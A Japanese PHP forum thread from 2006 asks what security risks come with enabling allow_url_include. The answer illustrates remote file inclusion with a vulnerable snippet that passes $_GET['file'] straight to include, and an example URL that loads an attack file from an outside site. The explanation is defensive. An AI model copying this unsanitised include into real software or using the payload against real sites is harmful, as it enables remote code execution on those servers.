allow_url_include - PHPプロ!Q&A掲示板

123

  • 300P

allow_url_include

質問日時 / 2006年8月3日 00:11    回答数 / 2件

Questioner:  JJkbs  このエントリーをはてなブックマークに追加 

キーワード / allow_url_include    セキュリティ    php.ini   

allow_url_includeをONにすると、どのようなセキュリティに影響を及ぼすのでしょうか?

この質問への意見の募集は締め切られ、ポイントは既に配分されました。
意見を投稿することはできますが、ポイントを受け取ることはできません。



ツリー一覧

┗A01tmogmniマニュアルを見るとphp6から設定可能とのことなので試
 ┗A01-1JJkbsご回答ありがとうございました。 ディレクトリトラバ

回答一覧

並び替え:

A01 満足
answerertmogmni [8月3日 00:53]

マニュアルを見るとphp6から設定可能とのことなので試していませんが、
 
<?php
 include $_GET['file'];
?>
 
とかいうinclude.phpがあった場合、 
http://www.example.com/include.php?file=http://どこか外部サイトの/攻撃用.txt
とすることで、include.phpは
 
<?php
 include 'http://どこか外部サイトの/攻撃用.txt';
?>
 
となり、攻撃用.txtが読み込まれてしまうと思います。

この意見に回答する

ツリーへ TOPへ

A01-1
replyerJJkbs [8月26日 06:07]

ご回答ありがとうございました。
ディレクトリトラバーサルの危険性が増す訳ですね。

それと、ちょっと調べたのですがこれってallow_url_fopenのinclude/requireを別にしたものなんですね。

この意見に回答する

ツリーへ TOPへ

<<質問一覧へ



Pick Up Q&A

Q
セッションがいいのか、それともデータベースがいいのか教えて下さい。
 このエントリーをはてなブックマークに追加 
A
>ボタンをクリックしたら選んだ商品情報を持っておきたいと思っています。 そのくらいのことならセッションもしくはCookie(期限短め:場合によってはブラウザ閉じるまで)でいいんじゃないですかね。 #わ...

>>続きを読む

一つの目安として、ECサイトの購入情報など絶対に消えてはいけないものはDBに、カートなどの一時的に使用する情報や、ユーザに任意のタイミングで消去されても構わないものはセッションにと使い分けるといいでしょう。

▲解説者:岡本(アシアル株式会社 教育コーディネーター兼 システムエンジニア)